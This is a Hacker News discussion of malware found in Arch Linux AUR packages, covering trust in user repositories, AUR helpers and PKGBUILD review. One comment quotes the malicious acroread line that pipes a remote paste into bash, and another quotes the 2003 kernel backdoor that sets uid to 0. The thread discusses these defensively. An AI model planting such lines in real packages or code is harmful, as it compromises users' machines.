
Arch Linux AUR Repository Found to Contain Malware - fdm
https://sensorstechforum.com/arch-linux-aur-repository-found-contain-malware/
======
cmiles74
From the article:

"This is yet another incident that showcases that Linux users should not
explicitly trust user-controlled repositories."

LOL. Why should this only apply to Linux users? We should all be wary of
downloading random things from websites.

AUR has always been labeled "user submitted", but I guess it's easy to forget
that some "users" are really out to cause harm.

~~~
trash_panda
Of course, one should be careful about what one installs on their system. Even
more so an Arch user, which should be technical saavy in the first place.

Anyways, I know I don't manually review everything I install on my system, I
trust the packet manager.

I'm not an Arch user so I don't know, but doest the AUR repo have some kind of
code signing or automatic analysis of the packages?

~~~
chias
AUR is not an "official" repository at all -- indeed the acronym stands for
"Arch User Repository". Kinda like github, you can go put whatever you want in
there, and people can download and install it on their machines if they want
to.

The "correct" way to install something from AUR is to go grab the install
script, READ THROUGH IT CAREFULLY, then knowing that you just downloaded a
thing uploaded by someone unafilliated with Arch, you make your decision on
whether or not to run/install it. That said, there are (non-official) package
managers that you can use which give you a package-manager-like experience
installing packages from AUR and do a pretty good job of sweeping all of that
under the rug. Convenient? yes; a good idea? it's your system, you decide (my
opinion is 'no').

~~~
mikekchar
> a good idea? it's your system, you decide (my opinion is 'no').

This frustrates me. Because there is a large vocal group that opposes the use
of yaourt (the most popular AUR package manager), I spent a year building
packages by hand, just to see if there was something I was missing. I was not.
It's just a complete PITA. In the end, I wrote scripts that just about
duplicated yaourt -- checks for new versions of packages that I've installed,
downloads the latest comments so I can see if there has been any controversy,
checks for and installs dependencies, etc, etc.

There is nothing in the manual process that makes it more safe than installing
with yaourt. Yaourt prompts you to edit the PKGBUILD file (and even defaults
to this!). It is just as easy (and in fact, I think easier) to neglect to
check what it's doing when you are building by hand.

After a year of building by hand, I went back to yaourt because I have better
things to do with my time than write scripts that duplicate it.

I think the real issue is that many people do not want to legitimise AUR as a
source of packages for everyday people. I can sympathise with this point of
view and even agree to it to a certain extent. However, avoiding using a tool
like yaourt is cutting off your nose to spite your face, IMHO.

~~~
Zancarius
> There is nothing in the manual process that makes it more safe than
> installing with yaourt. Yaourt prompts you to edit the PKGBUILD file (and
> even defaults to this!). It is just as easy (and in fact, I think easier) to
> neglect to check what it's doing when you are building by hand.

I get your point, but I think part of the reason for the official stance
against AUR helpers is that they incline users to skip any manual vetting of
the PKGBUILDs on their own. In practice, you're always going to have some
subset of the population who won't even look at the source PKGBUILDs (helper
or not), but I think this is a valid concern. If you download the package
sources manually, the effort required to type "makepkg" versus "less PKGBUILD"
isn't significant. Contrast this to using a helper, where pressing a key to
continue building is an awful lot more tempting than having the helper open
the PKGBUILD in your editor (where you now have to press many more keys to
continue)--regardless of the defaults.

What I tend to do is use an AUR helper to download the package sources and
then manually build them from there. Helpers are incredibly useful for
searching/downloading sources from the command line, but I'm not completely
convinced having them build/install everything unattended is a particularly
great idea. Part of this is the nature of the AUR and part of this is because
if you use enough packages from the AUR, sooner or later, you're going to have
to intervene and fix something (which defeats the point of using the helper in
the first place). Plus, using the helper as a glorified fetch tool gives you
something of an intermediate package cache as opposed to dumping everything in
/tmp and nuking it between boots.

That said, I do agree it's more to avoid legitimizing the AUR. There's good
reasons for this (legal and otherwise). But I think it's important for people
to decide precisely _how_ they wish to use the AUR as long as they understand
the repercussions.

Also, I believe yaourt is considered deprecated as it hasn't seen updates in
quite some time. I'd suggest something else like aurman or yay.

~~~
laumars
I think you're clutching at straws to be honest.

> If you download the package sources manually, the effort required to type
> "makepkg" versus "less PKGBUILD" isn't significant. Contrast this to using a
> helper, where pressing a key to continue building is an awful lot more
> tempting than having the helper open the PKGBUILD in your editor (where you
> now have to press many more keys to continue)--regardless of the defaults.

You could make the same argument about effort to skip checking being fewer
keystrokes to argue that yaourt makes its more convenient to check because
that is also fewer keystrokes than typing an additional command manually in
the command line. Thus I think the actual reality is people who are lazy will
skip a self audit regardless of how they choose to build the package. Ie
youart isn't problem.

> Plus, using the helper as a glorified fetch tool gives you something of an
> intermediate package cache as opposed to dumping everything in /tmp and
> nuking it between boots.

So change the build location. It's all configurable. /tmp makes sense as a
default but I have mine set elsewhere. On a previous system I even had yaourt
configured to build in its own ZFS tank.

> Also, I believe yaourt is considered deprecated as it hasn't seen updates in
> quite some time. I'd suggest something else like aurman or yay.

I often hear the same complaint made about Android apps (re it's not been
updated in a while) but when it already does everything it needs to then why
should it need to see further updates? It's not like yaourt doesn't keep track
of security updates (I mean it's all just wrappers around GNU and BSD tools so
if there's a bug in tar or OpenSSL then they will be updated independently
anyway).

I've been using yaourt for several years and frankly I've never once felt
"damn, this thing needs more maintenance".

------
pandasun
The article mentions 3 infected packages. But it only lists one: acroread.

Then the comment section mentions the other one is libvlc.

But the mailing list says this is something different:
[https://lists.archlinux.org/pipermail/aur-
general/2018-July/...](https://lists.archlinux.org/pipermail/aur-
general/2018-July/034158.html)

So then there's still two missing.

Here's what I've found that he maintained:

1) balz ([https://archive.fo/TjIQI](https://archive.fo/TjIQI))

2) minergate ([https://archive.fo/TjIQI](https://archive.fo/TjIQI))

3) acroread - as mentioned
([https://my.mixtape.moe/kvfpmk.png](https://my.mixtape.moe/kvfpmk.png))

So those "balz" and "minergate" could be the missing two.

Edit: seems like archive.fo is temporarily down, so it will just be my word
for it right now. Sorry.

~~~
Foxboron
There was some more questions about the affected packages on IRC. I posted a
mail to the thread with the packages and versions.
[https://lists.archlinux.org/pipermail/aur-
general/2018-July/...](https://lists.archlinux.org/pipermail/aur-
general/2018-July/034169.html)

------
Tharre
For the people interested, here's the actual commit from the acroread package:

[https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id...](https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id=b3fec9f2f16703c2dae9e793f75ad6e0d98509bc)

~~~
dmix
> \+ curl -s [https://ptpb.pw/~x|bash](https://ptpb.pw/~x|bash) -&

So much for being sneaky malware, he wasn't even trying to hide it... Any
insertion of a `curl` command to some shady looking TLD piping to bash is
going to be a massive red flag to even unsophisticated linux users.

Not much to see here, fortunately.

~~~
0xb100db1ade
that "shady" domain is the official pastebin for freenode's Arch Linux IRC
channel

~~~
earenndil
Even moreso: the fact that it's well-known as a pastebin means that it should
be obvious data coming from it are user-generated and could come from anyone.

------
westmeal
Doesnt everyone know AUR packages are inherently unsafe? if you wanted to make
sure they werent up to something you could read the pkgbuild

~~~
Skunkleton
Given the design of most of the AUR "helpers" out there, I would guess that
there are a non-trivial amount of users who view the AUR as safe.

~~~
dbrgn
Yaourt shows a big fat red warning every time you install a package. It also
offers to open PKGBUILD and .install files for inspection.

~~~
d4l3k
Yaourt is also unmaintained and unsafe. Please switch to something better.

[https://wiki.archlinux.org/index.php/AUR_helpers#Active](https://wiki.archlinux.org/index.php/AUR_helpers#Active)

~~~
dbrgn
Oh wow. I was not aware, thanks for letting me know!

------
Aardwolf
Unfortunately lots of things one actually wants are on AUR, things like
jpeginfo, golly, steam-fonts, simple-mtpfs, jslint, ...

A case for putting more things in the main Archlinux repositories!

~~~
xiii1408
My understanding is some things (e.g. Google Chrome, Google and Microsoft
fonts) can't be put in the main Arch Linux repos for copyright reasons.

~~~
arendtio
I wonder how other distributions solve that situation.

~~~
blfr
By being popular enough to have providers package the software for them. For
example, Chrome is available from a repo maintained by Google itself.

[https://www.google.com/linuxrepositories/](https://www.google.com/linuxrepositories/)

OTOH, you're basically giving Google root access to your machine.

------
jdlyga
This is exactly what we've been preparing for. Don't use yaourt, and read
those diffs. I know a lot of people don't do this, but it's important.

~~~
thsowers
What would you recommend over yaourt?

~~~
blarg1
#!/bin/bash set -e

if [ -z "$1" ]; then echo "No package name specified."; exit; fi

mkdir -p $1

cd $1

wget -q
"[https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz"](https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz")

tar xzf $1.tar.gz

cd $1

makepkg -sf

read -n 1 -s -p "Press any key to continue..."

echo -e "\n"

sudo pacman -U --noconfirm --needed $1*pkg.tar.xz

~~~
thsowers
Now _that's_ a package manager!

------
tombert
I mean, is this new information? I always look at the upvotes on the package
to see if it has been tested.

~~~
tbrock
Yeah it would be better if the packages had all-time upvotes as well as
“upvotes for this version”.

~~~
tomswartz07
Honestly, I don't see this happening.

Many packages use rolling versions from git commits, so while the PKGBUILDs
don't get updated, any time a user re-runs makepkg on that PKGBUILD the latest
commit is pulled and built.

In those cases, a PKGBUILD might be months or years old, but still
consistently up to date and valid.

------
arendtio
As an Arch user this bothers me since a while. On the one hand the AUR
contains packages I don't want to miss, on the other hand installing and
updating from the AUR is tiresome.

Recently I switched to the AUR helper aurman which is great, but it still
doesn't free you from reviewing PKGBUILD changes. Sometimes I wish there would
be some kind of review process where popular packages could be labeled as
'reviewed' (e.g. by experienced/trusted arch users) and an (optional) option
within the AUR helpers to accept 'reviewed' packages without presenting the
PKGBUILD for review.

I know that wouldn't be perfect either, but at least it would increase the
efficiency and as a user one could focus on the less popular packages where it
is unlikely that someone else will find some malware.

~~~
iv597
In a sense we already have that, in the form of the `community` repo: Trusted
Users mark a package as safe, adopt it, and it gets packaged up and supported.

Perhaps the answer is a few more TUs to get some of the popular AUR packages
adopted and officially supported.

------
jolmg
Is there a public database of linux malware found in the wild that one can
study to know what kind of things to look for when reviewing PKGBUILDs and
other open source code?

EDIT: s/repository/public database/

~~~
Foxboron
Nothing that I know off. Are you thinking specific to Arch Linux or in
general?

~~~
jolmg
In general, but also containing malware found in code belonging to the
different distributions, like PKGBUILDs. I'm just thinking that part of the
problem with the lack of review of AUR packages by the users is that it's not
really obvious what one should be on the lookout for. What does linux malware
found in the wild generally look like?, is what I'm wondering. I would think
that it would benefit us all to make the cases where malware is found more
easy to study.

The case shown here is pretty obvious looking, but I don't think it would be
too difficult to make it better hidden. Seeing what kind of tricks are
statistically more common would make PKGBUILDs easier to review.

~~~
lucb1e
This is one example of a kernel backdoor:

    
    
        if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
            retval = -EINVAL;
    

If you haven't heard of it before, and if you're not an experienced dev, it
can be tricky to spot. So what I'm trying to say is that I think you're right
in that it's difficult for random people (even if they have a strong tech
background) to do secure code reviews.

More info of this particular one at e.g. [https://freedom-to-
tinker.com/2013/10/09/the-linux-backdoor-...](https://freedom-to-
tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/) or just search for
'linux backdoor attempt'

~~~
jolmg
It's not about everyone being prepared to find malware anywhere, though, but
only in the cases where they each do. For random users of AUR packages, if
they (for whatever reason) trust a project's author, then they only need to
check the package author's work. If they could have access to historical
examples of real life malware specifically on PKGBUILD files, that would make
it much easier to have an idea of what kind of details they should be on the
alert for.

For kernel devs, specifically the kind that reviews patches submitted by
others, I would think it would also be useful to have data on previous
successful and failed attempts at introducing backdoors into the kernel.

Right now, I think that for anyone that wants to see this kind of data for any
particular kind of software, they'd have to search for it through various
mediums like mailing lists or the blog you linked to (through google).

That's an interesting link, by the way. Thanks for sharing.

EDIT: Removed redundant part. Misread what parent post meant.

~~~
lucb1e
But what's a successful backdooring attempt? Any security bug/vuln found in
the kernel could have been planted. But perhaps what's what you meant, to have
a database of such things, though I doubt it'll make it easier. Serious
attackers would either use a custom method or look at what is rarely used on
the list so it doesn't trigger any alarms.

------
etu
I'm surprised that this hasn't happened a lot earlier to be honest. It
probably has but haven't been picked up by someone. It's a user submitted repo
with over 44000 packages (source repology [0]).

It has happened to the snap store recently, but AUR has been around for ages.

[0]:
[https://repology.org/repository/aur](https://repology.org/repository/aur)

------
jancsika
> Following the discovery all dangerous instances were removed and the user
> account suspended.

I heard they're making a change to the policy for uploading packages to AUR.
The next time this happens the user will automatically receive an email that
says, "Hey, don't do that."

------
delbel
I tried installing Arch Linux, and it was harder then installing SunOS 4.3.
The instructions were absolutely wrong. I wish I could give it another try,
but I just don't have time to experience the wow's of the early 90s just to
get a browser up.

~~~
Grimm665
The Arch wiki used to have an amazing Beginner's guide along with the general
Installation Guide. They've since dropped it from the wiki, but there are
archived versions that I still bring up every now and then when setting up a
new Arch install. Here's one: [https://csdietz.github.io/arch-beginner-
guide/](https://csdietz.github.io/arch-beginner-guide/)

------
lerax
Not a surprise.

~~~
craftyguy
Yes, but this may be a good reminder for fellow Arch users who have grown
complacent reviewing things they install from AUR.

I've gotten to the point where I do not install any AUR helpers on my systems,
and manually download PKGBUILDs and install with makepkg. These extra steps
force me to 1) review the PKGBUILD + *.install files, and 2) make me
reconsider whether or not I want to go through the effort for a package (i.e.
"do I really want this thing")

If you want to see all software installed from outside repos defined in
/etc/pacman.conf, you can use this pacman option:

    
    
        pacman -Qm
    

It's always a good idea to periodically review this list as well.

~~~
jolmg
I've seen the advice of not installing AUR helpers multiple times before. I
guess it works for many, but I feel it takes more discipline to review the
files when not using AUR helpers since you can just download them and makepkg
them immediately, while all AUR helpers I've seen explicitly ask you if you'd
like to first review the files in an editor with a default answer of [Y]es.

~~~
cakes
One of the problem I see with helpers is that a lot of them start to wrap the
whole user's package handling experience (pacman wrapping) where it seems like
it would be easy to ignore the prompts and "just download the package
already". You can tell users the AUR is unsafe and to review PKGBUILDs but
that doesn't mean they are going to listen or do it.

I did write a helper, mainly for myself and a few other arch users I know, and
if not for having completed it enough to use it, I wouldn't do it again (I
don't support pacman wrapping). I use like 5-10 packages from the AUR and I
either maintain them or they _never_ change and I would know something is
wrong.

The other point to this is how is this sort of compromise best communicated?
It's important enough to hit [0] and obviously this news site, the
mailinglist[1], but not the frontpage of arch itself.

[0] planet.archlinux.org [1] [https://lists.archlinux.org/pipermail/aur-
general/2018-July/...](https://lists.archlinux.org/pipermail/aur-
general/2018-July/034151.html)

~~~
Foxboron
> The other point to this is how is this sort of compromise best communicated?
> It's important enough to hit [0] and obviously this news site, the
> mailinglist[1], but not the frontpage of arch itself.

I brought it up partially, and the simple explanation is; We don't. It's
unsupported and compromised packages happens. There is no system in place to
warn about it and the frontpage is reserved for news about issues regarding
official packages.

------
relyio
I don't know a single Arch Linux user who doesn't check the PKGBUILD of the
packages they get from AUR.

~~~
lsh
pleased to meetcha, you now know one.

------
sandov
I really hope one day Linux stops using package managers and switches to
single-file binary installers as in Windows and Mac. Until that day, I won't
feel completely comfortable using Linux.

Package managers are an inherently flawed way to distribute software, instead
of obtaining your programs from whoever developed that program you get it from
your OS developer!.

------
chimeracoder
The Arch User Repository hosts whatever people want to upload to it, with
basically no proactive vetting whatsoever. In addition, the installation
scripts run arbitrary code, a portion of which must run with root privileges.
When a package gets orphaned, that means that anybody in the community can
take over maintainership of the package.

There's a whole lot of trust that has to go on when installing a package from
the AUR - and yes, this is a fundamental problem with the security model of
Arch Linux, but that's been known for a very long time.

Honestly, I'd be surprised if this hasn't happened before with orphaned
packages.

~~~
LukeShu
_> yes, this is a fundamental problem with the security model of Arch Linux_

No, it's not. AUR is not Arch, and is not "supported" by Arch.

It's a fundamental problem with the security model running code from randos on
the internet. If someone published a git repo on GitHub that installed malware
when you ran

    
    
        git clone git://github.com/user/repo . && ./configure && make && sudo make install
    

you wouldn't be saying that "this is a fundamental problem with the security
model of git."

From the AUR homepage, in big text:

 _> AUR packages are user produced content. Any use of the provided files is
at your own risk._

~~~
cakes
I understand your point but the problem is that the title is "Arch Linux AUR
Repository Found to Contain Malware" (and not, for example: "AUR Repository
Found to Contain Malware"). I would argue that the implication (I guess
reputation-wise if that matters) starts with the "Arch Linux" part. It's easy
to jump on Arch because of this regardless of the fact that the AUR is not
supported. At a cursory glance plenty of people (though incorrect) will equate
this to "Arch Linux contains malware"

~~~
otterlicious
This isn't unique to Linux.

Most people would read "Apple App Store Found to Contain Malware" as "Apple
Devices Found to Contain Malware" too.

~~~
skolemtotem
The App Store is closer to the official Arch repos, since it is vetted by
Apple. The AUR is closer to just downloading stuff off the Internet.

